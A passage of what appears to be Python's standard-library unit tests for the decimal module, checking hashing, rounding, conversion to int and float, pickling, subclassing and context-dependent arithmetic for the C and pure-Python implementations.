F(-99999999999,123)) self.assertLess(D('-inf'), F(99999999999,123)) self.assertLess(D('-inf'), F(-99999999999,123)) self.assertRaises(InvalidOperation, D('nan').__gt__, F(-9,123)) self.assertIs(NotImplemented, F(-9,123).__lt__(D('nan'))) self.assertNotEqual(D('nan'), F(-9,123)) self.assertNotEqual(F(-9,123), D('nan')) def test_copy_and_deepcopy_methods(self): Decimal = self.decimal.Decimal d = Decimal('43.24') c = copy.copy(d) self.assertEqual(id(c), id(d)) dc = copy.deepcopy(d) self.assertEqual(id(dc), id(d)) def test_hash_method(self): Decimal = self.decimal.Decimal localcontext = self.decimal.localcontext def hashit(d): a = hash(d) b = d.__hash__() self.assertEqual(a, b) return a #just that it's hashable hashit(Decimal(23)) hashit(Decimal('Infinity')) hashit(Decimal('-Infinity')) hashit(Decimal('nan123')) hashit(Decimal('-NaN')) test_values = [Decimal(sign*(2**m + n)) for m in [0, 14, 15, 16, 17, 30, 31, 32, 33, 61, 62, 63, 64, 65, 66] for n in range(-10, 10) for sign in [-1, 1]] test_values.extend([ Decimal("-1"), # ==> -2 Decimal("-0"), # zeros Decimal("0.00"), Decimal("-0.000"), Decimal("0E10"), Decimal("-0E12"), Decimal("10.0"), # negative exponent Decimal("-23.00000"), Decimal("1230E100"), # positive exponent Decimal("-4.5678E50"), # a value for which hash(n) != hash(n % (2**64-1)) # in Python pre-2.6 Decimal(2**64 + 2**32 - 1), # selection of values which fail with the old (before # version 2.6) long.__hash__ Decimal("1.634E100"), Decimal("90.697E100"), Decimal("188.83E100"), Decimal("1652.9E100"), Decimal("56531E100"), ]) # check that hash(d) == hash(int(d)) for integral values for value in test_values: self.assertEqual(hashit(value), hash(int(value))) # check that the hashes of a Decimal float match when they # represent exactly the same values test_strings = ['inf', '-Inf', '0.0', '-.0e1', '34.0', '2.5', '112390.625', '-0.515625'] for s in test_strings: f = float(s) d = Decimal(s) self.assertEqual(hashit(d), hash(f)) with localcontext() as c: # check that the value of the hash doesn't depend on the # current context (issue #1757) x = Decimal("123456789.1") c.prec = 6 h1 = hashit(x) c.prec = 10 h2 = hashit(x) c.prec = 16 h3 = hashit(x) self.assertEqual(h1, h2) self.assertEqual(h1, h3) c.prec = 10000 x = 1100 ** 1248 self.assertEqual(hashit(Decimal(x)), hashit(x)) def test_hash_method_nan(self): Decimal = self.decimal.Decimal self.assertRaises(TypeError, hash, Decimal('sNaN')) value = Decimal('NaN') self.assertEqual(hash(value), object.__hash__(value)) class H: def __hash__(self): return 42 class D(Decimal, H): pass value = D('NaN') self.assertEqual(hash(value), object.__hash__(value)) def test_min_and_max_methods(self): Decimal = self.decimal.Decimal d1 = Decimal('15.32') d2 = Decimal('28.5') l1 = 15 l2 = 28 #between Decimals self.assertIs(min(d1,d2), d1) self.assertIs(min(d2,d1), d1) self.assertIs(max(d1,d2), d2) self.assertIs(max(d2,d1), d2) #between Decimal and int self.assertIs(min(d1,l2), d1) self.assertIs(min(l2,d1), d1) self.assertIs(max(l1,d2), d2) self.assertIs(max(d2,l1), d2) def test_as_nonzero(self): Decimal = self.decimal.Decimal #as false self.assertFalse(Decimal(0)) #as true self.assertTrue(Decimal('0.372')) def test_tostring_methods(self): #Test str and repr methods. Decimal = self.decimal.Decimal d = Decimal('15.32') self.assertEqual(str(d), '15.32') # str self.assertEqual(repr(d), "Decimal('15.32')") # repr def test_tonum_methods(self): #Test float and int methods. Decimal = self.decimal.Decimal d1 = Decimal('66') d2 = Decimal('15.32') #int self.assertEqual(int(d1), 66) self.assertEqual(int(d2), 15) #float self.assertEqual(float(d1), 66) self.assertEqual(float(d2), 15.32) #floor test_pairs = [ ('123.00', 123), ('3.2', 3), ('3.54', 3), ('3.899', 3), ('-2.3', -3), ('-11.0', -11), ('0.0', 0), ('-0E3', 0), ('89891211712379812736.1', 89891211712379812736), ] for d, i in test_pairs: self.assertEqual(math.floor(Decimal(d)), i) self.assertRaises(ValueError, math.floor, Decimal('-NaN')) self.assertRaises(ValueError, math.floor, Decimal('sNaN')) self.assertRaises(ValueError, math.floor, Decimal('NaN123')) self.assertRaises(OverflowError, math.floor, Decimal('Inf')) self.assertRaises(OverflowError, math.floor, Decimal('-Inf')) #ceiling test_pairs = [ ('123.00', 123), ('3.2', 4), ('3.54', 4), ('3.899', 4), ('-2.3', -2), ('-11.0', -11), ('0.0', 0), ('-0E3', 0), ('89891211712379812736.1', 89891211712379812737), ] for d, i in test_pairs: self.assertEqual(math.ceil(Decimal(d)), i) self.assertRaises(ValueError, math.ceil, Decimal('-NaN')) self.assertRaises(ValueError, math.ceil, Decimal('sNaN')) self.assertRaises(ValueError, math.ceil, Decimal('NaN123')) self.assertRaises(OverflowError, math.ceil, Decimal('Inf')) self.assertRaises(OverflowError, math.ceil, Decimal('-Inf')) #round, single argument test_pairs = [ ('123.00', 123), ('3.2', 3), ('3.54', 4), ('3.899', 4), ('-2.3', -2), ('-11.0', -11), ('0.0', 0), ('-0E3', 0), ('-3.5', -4), ('-2.5', -2), ('-1.5', -2), ('-0.5', 0), ('0.5', 0), ('1.5', 2), ('2.5', 2), ('3.5', 4), ] for d, i in test_pairs: self.assertEqual(round(Decimal(d)), i) self.assertRaises(ValueError, round, Decimal('-NaN')) self.assertRaises(ValueError, round, Decimal('sNaN')) self.assertRaises(ValueError, round, Decimal('NaN123')) self.assertRaises(OverflowError, round, Decimal('Inf')) self.assertRaises(OverflowError, round, Decimal('-Inf')) #round, two arguments; this is essentially equivalent #to quantize, which is already extensively tested test_triples = [ ('123.456', -4, '0E+4'), ('123.456', -3, '0E+3'), ('123.456', -2, '1E+2'), ('123.456', -1, '1.2E+2'), ('123.456', 0, '123'), ('123.456', 1, '123.5'), ('123.456', 2, '123.46'), ('123.456', 3, '123.456'), ('123.456', 4, '123.4560'), ('123.455', 2, '123.46'), ('123.445', 2, '123.44'), ('Inf', 4, 'NaN'), ('-Inf', -23, 'NaN'), ('sNaN314', 3, 'NaN314'), ] for d, n, r in test_triples: self.assertEqual(str(round(Decimal(d), n)), r) def test_nan_to_float(self): # Test conversions of decimal NANs to float. # See http://bugs.python.org/issue15544 Decimal = self.decimal.Decimal for s in ('nan', 'nan1234', '-nan', '-nan2468'): f = float(Decimal(s)) self.assertTrue(math.isnan(f)) sign = math.copysign(1.0, f) self.assertEqual(sign, -1.0 if s.startswith('-') else 1.0) def test_snan_to_float(self): Decimal = self.decimal.Decimal for s in ('snan', '-snan', 'snan1357', '-snan1234'): d = Decimal(s) self.assertRaises(ValueError, float, d) def test_eval_round_trip(self): Decimal = self.decimal.Decimal #with zero d = Decimal( (0, (0,), 0) ) self.assertEqual(d, eval(repr(d))) #int d = Decimal( (1, (4, 5), 0) ) self.assertEqual(d, eval(repr(d))) #float d = Decimal( (0, (4, 5, 3, 4), -2) ) self.assertEqual(d, eval(repr(d))) #weird d = Decimal( (1, (4, 3, 4, 9, 1, 3, 5, 3, 4), -25) ) self.assertEqual(d, eval(repr(d))) def test_as_tuple(self): Decimal = self.decimal.Decimal #with zero d = Decimal(0) self.assertEqual(d.as_tuple(), (0, (0,), 0) ) #int d = Decimal(-45) self.assertEqual(d.as_tuple(), (1, (4, 5), 0) ) #complicated string d = Decimal("-4.34913534E-17") self.assertEqual(d.as_tuple(), (1, (4, 3, 4, 9, 1, 3, 5, 3, 4), -25) ) # The '0' coefficient is implementation specific to decimal.py. # It has no meaning in the C-version and is ignored there. d = Decimal("Infinity") self.assertEqual(d.as_tuple(), (0, (0,), 'F') ) #leading zeros in coefficient should be stripped d = Decimal( (0, (0, 0, 4, 0, 5, 3, 4), -2) ) self.assertEqual(d.as_tuple(), (0, (4, 0, 5, 3, 4), -2) ) d = Decimal( (1, (0, 0, 0), 37) ) self.assertEqual(d.as_tuple(), (1, (0,), 37)) d = Decimal( (1, (), 37) ) self.assertEqual(d.as_tuple(), (1, (0,), 37)) #leading zeros in NaN diagnostic info should be stripped d = Decimal( (0, (0, 0, 4, 0, 5, 3, 4), 'n') ) self.assertEqual(d.as_tuple(), (0, (4, 0, 5, 3, 4), 'n') ) d = Decimal( (1, (0, 0, 0), 'N') ) self.assertEqual(d.as_tuple(), (1, (), 'N') ) d = Decimal( (1, (), 'n') ) self.assertEqual(d.as_tuple(), (1, (), 'n') ) # For infinities, decimal.py has always silently accepted any # coefficient tuple. d = Decimal( (0, (0,), 'F') ) self.assertEqual(d.as_tuple(), (0, (0,), 'F')) d = Decimal( (0, (4, 5, 3, 4), 'F') ) self.assertEqual(d.as_tuple(), (0, (0,), 'F')) d = Decimal( (1, (0, 2, 7, 1), 'F') ) self.assertEqual(d.as_tuple(), (1, (0,), 'F')) def test_as_integer_ratio(self): Decimal = self.decimal.Decimal # exceptional cases self.assertRaises(OverflowError, Decimal.as_integer_ratio, Decimal('inf')) self.assertRaises(OverflowError, Decimal.as_integer_ratio, Decimal('-inf')) self.assertRaises(ValueError, Decimal.as_integer_ratio, Decimal('-nan')) self.assertRaises(ValueError, Decimal.as_integer_ratio, Decimal('snan123')) for exp in range(-4, 2): for coeff in range(1000): for sign in '+', '-': d = Decimal('%s%dE%d' % (sign, coeff, exp)) pq = d.as_integer_ratio() p, q = pq # check return type self.assertIsInstance(pq, tuple) self.assertIsInstance(p, int) self.assertIsInstance(q, int) # check normalization: q should be positive; # p should be relatively prime to q. self.assertGreater(q, 0) self.assertEqual(math.gcd(p, q), 1) # check that p/q actually gives the correct value self.assertEqual(Decimal(p) / Decimal(q), d) def test_subclassing(self): # Different behaviours when subclassing Decimal Decimal = self.decimal.Decimal class MyDecimal(Decimal): y = None d1 = MyDecimal(1) d2 = MyDecimal(2) d = d1 + d2 self.assertIs(type(d), Decimal) d = d1.max(d2) self.assertIs(type(d), Decimal) d = copy.copy(d1) self.assertIs(type(d), MyDecimal) self.assertEqual(d, d1) d = copy.deepcopy(d1) self.assertIs(type(d), MyDecimal) self.assertEqual(d, d1) # Decimal(Decimal) d = Decimal('1.0') x = Decimal(d) self.assertIs(type(x), Decimal) self.assertEqual(x, d) # MyDecimal(Decimal) m = MyDecimal(d) self.assertIs(type(m), MyDecimal) self.assertEqual(m, d) self.assertIs(m.y, None) # Decimal(MyDecimal) x = Decimal(m) self.assertIs(type(x), Decimal) self.assertEqual(x, d) # MyDecimal(MyDecimal) m.y = 9 x = MyDecimal(m) self.assertIs(type(x), MyDecimal) self.assertEqual(x, d) self.assertIs(x.y, None) def test_implicit_context(self): Decimal = self.decimal.Decimal getcontext = self.decimal.getcontext # Check results when context given implicitly. (Issue 2478) c = getcontext() self.assertEqual(str(Decimal(0).sqrt()), str(c.sqrt(Decimal(0)))) def test_none_args(self): Decimal = self.decimal.Decimal Context = self.decimal.Context localcontext = self.decimal.localcontext InvalidOperation = self.decimal.InvalidOperation DivisionByZero = self.decimal.DivisionByZero Overflow = self.decimal.Overflow Underflow = self.decimal.Underflow Subnormal = self.decimal.Subnormal Inexact = self.decimal.Inexact Rounded = self.decimal.Rounded Clamped = self.decimal.Clamped with localcontext(Context()) as c: c.prec = 7 c.Emax = 999 c.Emin = -999 x = Decimal("111") y = Decimal("1e9999") z = Decimal("1e-9999") ##### Unary functions c.clear_flags() self.assertEqual(str(x.exp(context=None)), '1.609487E+48') self.assertTrue(c.flags[Inexact]) self.assertTrue(c.flags[Rounded]) c.clear_flags() self.assertRaises(Overflow, y.exp, context=None) self.assertTrue(c.flags[Overflow]) self.assertIs(z.is_normal(context=None), False) self.assertIs(z.is_subnormal(context=None), True) c.clear_flags() self.assertEqual(str(x.ln(context=None)), '4.709530') self.assertTrue(c.flags[Inexact]) self.assertTrue(c.flags[Rounded]) c.clear_flags() self.assertRaises(InvalidOperation, Decimal(-1).ln, context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() self.assertEqual(str(x.log10(context=None)), '2.045323') self.assertTrue(c.flags[Inexact]) self.assertTrue(c.flags[Rounded]) c.clear_flags() self.assertRaises(InvalidOperation, Decimal(-1).log10, context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() self.assertEqual(str(x.logb(context=None)), '2') self.assertRaises(DivisionByZero, Decimal(0).logb, context=None) self.assertTrue(c.flags[DivisionByZero]) c.clear_flags() self.assertEqual(str(x.logical_invert(context=None)), '1111000') self.assertRaises(InvalidOperation, y.logical_invert, context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() self.assertEqual(str(y.next_minus(context=None)), '9.999999E+999') self.assertRaises(InvalidOperation, Decimal('sNaN').next_minus, context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() self.assertEqual(str(y.next_plus(context=None)), 'Infinity') self.assertRaises(InvalidOperation, Decimal('sNaN').next_plus, context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() self.assertEqual(str(z.normalize(context=None)), '0') self.assertRaises(Overflow, y.normalize, context=None) self.assertTrue(c.flags[Overflow]) self.assertEqual(str(z.number_class(context=None)), '+Subnormal') c.clear_flags() self.assertEqual(str(z.sqrt(context=None)), '0E-1005') self.assertTrue(c.flags[Clamped]) self.assertTrue(c.flags[Inexact]) self.assertTrue(c.flags[Rounded]) self.assertTrue(c.flags[Subnormal]) self.assertTrue(c.flags[Underflow]) c.clear_flags() self.assertRaises(Overflow, y.sqrt, context=None) self.assertTrue(c.flags[Overflow]) c.capitals = 0 self.assertEqual(str(z.to_eng_string(context=None)), '1e-9999') c.capitals = 1 ##### Binary functions c.clear_flags() ans = str(x.compare(Decimal('Nan891287828'), context=None)) self.assertEqual(ans, 'NaN1287828') self.assertRaises(InvalidOperation, x.compare, Decimal('sNaN'), context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() ans = str(x.compare_signal(8224, context=None)) self.assertEqual(ans, '-1') self.assertRaises(InvalidOperation, x.compare_signal, Decimal('NaN'), context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() ans = str(x.logical_and(101, context=None)) self.assertEqual(ans, '101') self.assertRaises(InvalidOperation, x.logical_and, 123, context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() ans = str(x.logical_or(101, context=None)) self.assertEqual(ans, '111') self.assertRaises(InvalidOperation, x.logical_or, 123, context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() ans = str(x.logical_xor(101, context=None)) self.assertEqual(ans, '10') self.assertRaises(InvalidOperation, x.logical_xor, 123, context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() ans = str(x.max(101, context=None)) self.assertEqual(ans, '111') self.assertRaises(InvalidOperation, x.max, Decimal('sNaN'), context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() ans = str(x.max_mag(101, context=None)) self.assertEqual(ans, '111') self.assertRaises(InvalidOperation, x.max_mag, Decimal('sNaN'), context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() ans = str(x.min(101, context=None)) self.assertEqual(ans, '101') self.assertRaises(InvalidOperation, x.min, Decimal('sNaN'), context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() ans = str(x.min_mag(101, context=None)) self.assertEqual(ans, '101') self.assertRaises(InvalidOperation, x.min_mag, Decimal('sNaN'), context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() ans = str(x.remainder_near(101, context=None)) self.assertEqual(ans, '10') self.assertRaises(InvalidOperation, y.remainder_near, 101, context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() ans = str(x.rotate(2, context=None)) self.assertEqual(ans, '11100') self.assertRaises(InvalidOperation, x.rotate, 101, context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() ans = str(x.scaleb(7, context=None)) self.assertEqual(ans, '1.11E+9') self.assertRaises(InvalidOperation, x.scaleb, 10000, context=None) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() ans = str(x.shift(2, context=None)) self.assertEqual(ans, '11100') self.assertRaises(InvalidOperation, x.shift, 10000, context=None) self.assertTrue(c.flags[InvalidOperation]) ##### Ternary functions c.clear_flags() ans = str(x.fma(2, 3, context=None)) self.assertEqual(ans, '225') self.assertRaises(Overflow, x.fma, Decimal('1e9999'), 3, context=None) self.assertTrue(c.flags[Overflow]) ##### Special cases c.rounding = ROUND_HALF_EVEN ans = str(Decimal('1.5').to_integral(rounding=None, context=None)) self.assertEqual(ans, '2') c.rounding = ROUND_DOWN ans = str(Decimal('1.5').to_integral(rounding=None, context=None)) self.assertEqual(ans, '1') ans = str(Decimal('1.5').to_integral(rounding=ROUND_UP, context=None)) self.assertEqual(ans, '2') c.clear_flags() self.assertRaises(InvalidOperation, Decimal('sNaN').to_integral, context=None) self.assertTrue(c.flags[InvalidOperation]) c.rounding = ROUND_HALF_EVEN ans = str(Decimal('1.5').to_integral_value(rounding=None, context=None)) self.assertEqual(ans, '2') c.rounding = ROUND_DOWN ans = str(Decimal('1.5').to_integral_value(rounding=None, context=None)) self.assertEqual(ans, '1') ans = str(Decimal('1.5').to_integral_value(rounding=ROUND_UP, context=None)) self.assertEqual(ans, '2') c.clear_flags() self.assertRaises(InvalidOperation, Decimal('sNaN').to_integral_value, context=None) self.assertTrue(c.flags[InvalidOperation]) c.rounding = ROUND_HALF_EVEN ans = str(Decimal('1.5').to_integral_exact(rounding=None, context=None)) self.assertEqual(ans, '2') c.rounding = ROUND_DOWN ans = str(Decimal('1.5').to_integral_exact(rounding=None, context=None)) self.assertEqual(ans, '1') ans = str(Decimal('1.5').to_integral_exact(rounding=ROUND_UP, context=None)) self.assertEqual(ans, '2') c.clear_flags() self.assertRaises(InvalidOperation, Decimal('sNaN').to_integral_exact, context=None) self.assertTrue(c.flags[InvalidOperation]) c.rounding = ROUND_UP ans = str(Decimal('1.50001').quantize(exp=Decimal('1e-3'), rounding=None, context=None)) self.assertEqual(ans, '1.501') c.rounding = ROUND_DOWN ans = str(Decimal('1.50001').quantize(exp=Decimal('1e-3'), rounding=None, context=None)) self.assertEqual(ans, '1.500') ans = str(Decimal('1.50001').quantize(exp=Decimal('1e-3'), rounding=ROUND_UP, context=None)) self.assertEqual(ans, '1.501') c.clear_flags() self.assertRaises(InvalidOperation, y.quantize, Decimal('1e-10'), rounding=ROUND_UP, context=None) self.assertTrue(c.flags[InvalidOperation]) with localcontext(Context()) as context: context.prec = 7 context.Emax = 999 context.Emin = -999 with localcontext(ctx=None) as c: self.assertEqual(c.prec, 7) self.assertEqual(c.Emax, 999) self.assertEqual(c.Emin, -999) def test_conversions_from_int(self): # Check that methods taking a second Decimal argument will # always accept an integer in place of a Decimal. Decimal = self.decimal.Decimal self.assertEqual(Decimal(4).compare(3), Decimal(4).compare(Decimal(3))) self.assertEqual(Decimal(4).compare_signal(3), Decimal(4).compare_signal(Decimal(3))) self.assertEqual(Decimal(4).compare_total(3), Decimal(4).compare_total(Decimal(3))) self.assertEqual(Decimal(4).compare_total_mag(3), Decimal(4).compare_total_mag(Decimal(3))) self.assertEqual(Decimal(10101).logical_and(1001), Decimal(10101).logical_and(Decimal(1001))) self.assertEqual(Decimal(10101).logical_or(1001), Decimal(10101).logical_or(Decimal(1001))) self.assertEqual(Decimal(10101).logical_xor(1001), Decimal(10101).logical_xor(Decimal(1001))) self.assertEqual(Decimal(567).max(123), Decimal(567).max(Decimal(123))) self.assertEqual(Decimal(567).max_mag(123), Decimal(567).max_mag(Decimal(123))) self.assertEqual(Decimal(567).min(123), Decimal(567).min(Decimal(123))) self.assertEqual(Decimal(567).min_mag(123), Decimal(567).min_mag(Decimal(123))) self.assertEqual(Decimal(567).next_toward(123), Decimal(567).next_toward(Decimal(123))) self.assertEqual(Decimal(1234).quantize(100), Decimal(1234).quantize(Decimal(100))) self.assertEqual(Decimal(768).remainder_near(1234), Decimal(768).remainder_near(Decimal(1234))) self.assertEqual(Decimal(123).rotate(1), Decimal(123).rotate(Decimal(1))) self.assertEqual(Decimal(1234).same_quantum(1000), Decimal(1234).same_quantum(Decimal(1000))) self.assertEqual(Decimal('9.123').scaleb(-100), Decimal('9.123').scaleb(Decimal(-100))) self.assertEqual(Decimal(456).shift(-1), Decimal(456).shift(Decimal(-1))) self.assertEqual(Decimal(-12).fma(Decimal(45), 67), Decimal(-12).fma(Decimal(45), Decimal(67))) self.assertEqual(Decimal(-12).fma(45, 67), Decimal(-12).fma(Decimal(45), Decimal(67))) self.assertEqual(Decimal(-12).fma(45, Decimal(67)), Decimal(-12).fma(Decimal(45), Decimal(67))) class CUsabilityTest(UsabilityTest): decimal = C class PyUsabilityTest(UsabilityTest): decimal = P class PythonAPItests(unittest.TestCase): def test_abc(self): Decimal = self.decimal.Decimal self.assertTrue(issubclass(Decimal, numbers.Number)) self.assertFalse(issubclass(Decimal, numbers.Real)) self.assertIsInstance(Decimal(0), numbers.Number) self.assertNotIsInstance(Decimal(0), numbers.Real) def test_pickle(self): for proto in range(pickle.HIGHEST_PROTOCOL + 1): Decimal = self.decimal.Decimal savedecimal = sys.modules['decimal'] # Round trip sys.modules['decimal'] = self.decimal d = Decimal('-3.141590000') p = pickle.dumps(d, proto) e = pickle.loads(p) self.assertEqual(d, e) if C: # Test interchangeability x = C.Decimal('-3.123e81723') y = P.Decimal('-3.123e81723') sys.modules['decimal'] = C sx = pickle.dumps(x, proto) sys.modules['decimal'] = P r = pickle.loads(sx) self.assertIsInstance(r, P.Decimal) self.assertEqual(r, y) sys.modules['decimal'] = P sy = pickle.dumps(y, proto) sys.modules['decimal'] = C r = pickle.loads(sy) self.assertIsInstance(r, C.Decimal) self.assertEqual(r, x) x = C.Decimal('-3.123e81723').as_tuple() y = P.Decimal('-3.123e81723').as_tuple() sys.modules['decimal'] = C sx = pickle.dumps(x, proto) sys.modules['decimal'] = P r = pickle.loads(sx) self.assertIsInstance(r, P.DecimalTuple) self.assertEqual(r, y) sys.modules['decimal'] = P sy = pickle.dumps(y, proto) sys.modules['decimal'] = C r = pickle.loads(sy) self.assertIsInstance(r, C.DecimalTuple) self.assertEqual(r, x) sys.modules['decimal'] = savedecimal def test_int(self): Decimal = self.decimal.Decimal for x in range(-250, 250): s = '%0.2f' % (x / 100.0) # should work the same as for floats self.assertEqual(int(Decimal(s)), int(float(s))) # should work the same as to_integral in the ROUND_DOWN mode d = Decimal(s) r = d.to_integral(ROUND_DOWN) self.assertEqual(Decimal(int(d)), r) self.assertRaises(ValueError, int, Decimal('-nan')) self.assertRaises(ValueError, int, Decimal('snan')) self.assertRaises(OverflowError, int, Decimal('inf')) self.assertRaises(OverflowError, int, Decimal('-inf')) def test_trunc(self): Decimal = self.decimal.Decimal for x in range(-250, 250): s = '%0.2f' % (x / 100.0) # should work the same as for floats self.assertEqual(int(Decimal(s)), int(float(s))) # should work the same as to_integral in the ROUND_DOWN mode d = Decimal(s) r = d.to_integral(ROUND_DOWN) self.assertEqual(Decimal(math.trunc(d)), r) def test_from_float(self): Decimal = self.decimal.Decimal class MyDecimal(Decimal): def __init__(self, _): self.x = 'y' self.assertTrue(issubclass(MyDecimal, Decimal)) r = MyDecimal.from_float(0.1) self.assertEqual(type(r), MyDecimal) self.assertEqual(str(r), '0.1000000000000000055511151231257827021181583404541015625') self.assertEqual(r.x, 'y') bigint = 12345678901234567890123456789 self.assertEqual(MyDecimal.from_float(bigint), MyDecimal(bigint)) self.assertTrue(MyDecimal.from_float(float('nan')).is_qnan()) self.assertTrue(MyDecimal.from_float(float('inf')).is_infinite()) self.assertTrue(MyDecimal.from_float(float('-inf')).is_infinite()) self.assertEqual(str(MyDecimal.from_float(float('nan'))), str(Decimal('NaN'))) self.assertEqual(str(MyDecimal.from_float(float('inf'))), str(Decimal('Infinity'))) self.assertEqual(str(MyDecimal.from_float(float('-inf'))), str(Decimal('-Infinity'))) self.assertRaises(TypeError, MyDecimal.from_float, 'abc') for i in range(200): x = random.expovariate(0.01) * (random.random() * 2.0 - 1.0) self.assertEqual(x, float(MyDecimal.from_float(x))) # roundtrip def test_create_decimal_from_float(self): Decimal = self.decimal.Decimal Context = self.decimal.Context Inexact = self.decimal.Inexact context = Context(prec=5, rounding=ROUND_DOWN) self.assertEqual( context.create_decimal_from_float(math.pi), Decimal('3.1415') ) context = Context(prec=5, rounding=ROUND_UP) self.assertEqual( context.create_decimal_from_float(math.pi), Decimal('3.1416') ) context = Context(prec=5, traps=[Inexact]) self.assertRaises( Inexact, context.create_decimal_from_float, math.pi ) self.assertEqual(repr(context.create_decimal_from_float(-0.0)), "Decimal('-0')") self.assertEqual(repr(context.create_decimal_from_float(1.0)), "Decimal('1')") self.assertEqual(repr(context.create_decimal_from_float(10)), "Decimal('10')") def test_quantize(self): Decimal = self.decimal.Decimal Context = self.decimal.Context InvalidOperation = self.decimal.InvalidOperation c = Context(Emax=99999, Emin=-99999) self.assertEqual( Decimal('7.335').quantize(Decimal('.01')), Decimal('7.34') ) self.assertEqual( Decimal('7.335').quantize(Decimal('.01'), rounding=ROUND_DOWN), Decimal('7.33') ) self.assertRaises( InvalidOperation, Decimal("10e99999").quantize, Decimal('1e100000'), context=c ) c = Context() d = Decimal("0.871831e800") x = d.quantize(context=c, exp=Decimal("1e797"), rounding=ROUND_DOWN) self.assertEqual(x, Decimal('8.71E+799')) def test_complex(self): Decimal = self.decimal.Decimal x = Decimal("9.8182731e181273") self.assertEqual(x.real, x) self.assertEqual(x.imag, 0) self.assertEqual(x.conjugate(), x) x = Decimal("1") self.assertEqual(complex(x), complex(float(1))) self.assertRaises(AttributeError, setattr, x, 'real', 100) self.assertRaises(AttributeError, setattr, x, 'imag', 100) self.assertRaises(AttributeError, setattr, x, 'conjugate', 100) self.assertRaises(AttributeError, setattr, x, '__complex__', 100) def test_named_parameters(self): D = self.decimal.Decimal Context = self.decimal.Context localcontext = self.decimal.localcontext InvalidOperation = self.decimal.InvalidOperation Overflow = self.decimal.Overflow xc = Context() xc.prec = 1 xc.Emax = 1 xc.Emin = -1 with localcontext() as c: c.clear_flags() self.assertEqual(D(9, xc), 9) self.assertEqual(D(9, context=xc), 9) self.assertEqual(D(context=xc, value=9), 9) self.assertEqual(D(context=xc), 0) xc.clear_flags() self.assertRaises(InvalidOperation, D, "xyz", context=xc) self.assertTrue(xc.flags[InvalidOperation]) self.assertFalse(c.flags[InvalidOperation]) xc.clear_flags() self.assertEqual(D(2).exp(context=xc), 7) self.assertRaises(Overflow, D(8).exp, context=xc) self.assertTrue(xc.flags[Overflow]) self.assertFalse(c.flags[Overflow]) xc.clear_flags() self.assertEqual(D(2).ln(context=xc), D('0.7')) self.assertRaises(InvalidOperation, D(-1).ln, context=xc) self.assertTrue(xc.flags[InvalidOperation]) self.assertFalse(c.flags[InvalidOperation]) self.assertEqual(D(0).log10(context=xc), D('-inf')) self.assertEqual(D(-1).next_minus(context=xc), -2) self.assertEqual(D(-1).next_plus(context=xc), D('-0.9')) self.assertEqual(D("9.73").normalize(context=xc), D('1E+1')) self.assertEqual(D("9999").to_integral(context=xc), 9999) self.assertEqual(D("-2000").to_integral_exact(context=xc), -2000) self.assertEqual(D("123").to_integral_value(context=xc), 123) self.assertEqual(D("0.0625").sqrt(context=xc), D('0.2')) self.assertEqual(D("0.0625").compare(context=xc, other=3), -1) xc.clear_flags() self.assertRaises(InvalidOperation, D("0").compare_signal, D('nan'), context=xc) self.assertTrue(xc.flags[InvalidOperation]) self.assertFalse(c.flags[InvalidOperation]) self.assertEqual(D("0.01").max(D('0.0101'), context=xc), D('0.0')) self.assertEqual(D("0.01").max(D('0.0101'), context=xc), D('0.0')) self.assertEqual(D("0.2").max_mag(D('-0.3'), context=xc), D('-0.3')) self.assertEqual(D("0.02").min(D('-0.03'), context=xc), D('-0.0')) self.assertEqual(D("0.02").min_mag(D('-0.03'), context=xc), D('0.0')) self.assertEqual(D("0.2").next_toward(D('-1'), context=xc), D('0.1')) xc.clear_flags() self.assertRaises(InvalidOperation, D("0.2").quantize, D('1e10'), context=xc) self.assertTrue(xc.flags[InvalidOperation]) self.assertFalse(c.flags[InvalidOperation]) self.assertEqual(D("9.99").remainder_near(D('1.5'), context=xc), D('-0.5')) self.assertEqual(D("9.9").fma(third=D('0.9'), context=xc, other=7), D('7E+1')) self.assertRaises(TypeError, D(1).is_canonical, context=xc) self.assertRaises(TypeError, D(1).is_finite, context=xc) self.assertRaises(TypeError, D(1).is_infinite, context=xc) self.assertRaises(TypeError, D(1).is_nan, context=xc) self.assertRaises(TypeError, D(1).is_qnan, context=xc) self.assertRaises(TypeError, D(1).is_snan, context=xc) self.assertRaises(TypeError, D(1).is_signed, context=xc) self.assertRaises(TypeError, D(1).is_zero, context=xc) self.assertFalse(D("0.01").is_normal(context=xc)) self.assertTrue(D("0.01").is_subnormal(context=xc)) self.assertRaises(TypeError, D(1).adjusted, context=xc) self.assertRaises(TypeError, D(1).conjugate, context=xc) self.assertRaises(TypeError, D(1).radix, context=xc) self.assertEqual(D(-111).logb(context=xc), 2) self.assertEqual(D(0).logical_invert(context=xc), 1) self.assertEqual(D('0.01').number_class(context=xc), '+Subnormal') self.assertEqual(D('0.21').to_eng_string(context=xc), '0.21') self.assertEqual(D('11').logical_and(D('10'), context=xc), 0) self.assertEqual(D('11').logical_or(D('10'), context=xc), 1) self.assertEqual(D('01').logical_xor(D('10'), context=xc), 1) self.assertEqual(D('23').rotate(1, context=xc), 3) self.assertEqual(D('23').rotate(1, context=xc), 3) xc.clear_flags() self.assertRaises(Overflow, D('23').scaleb, 1, context=xc) self.assertTrue(xc.flags[Overflow]) self.assertFalse(c.flags[Overflow]) self.assertEqual(D('23').shift(-1, context=xc), 0) self.assertRaises(TypeError, D.from_float, 1.1, context=xc) self.assertRaises(TypeError, D(0).as_tuple, context=xc) self.assertEqual(D(1).canonical(), 1) self.assertRaises(TypeError, D("-1").copy_abs, context=xc) self.assertRaises(TypeError, D("-1").copy_negate, context=xc) self.assertRaises(TypeError, D(1).canonical, context="x") 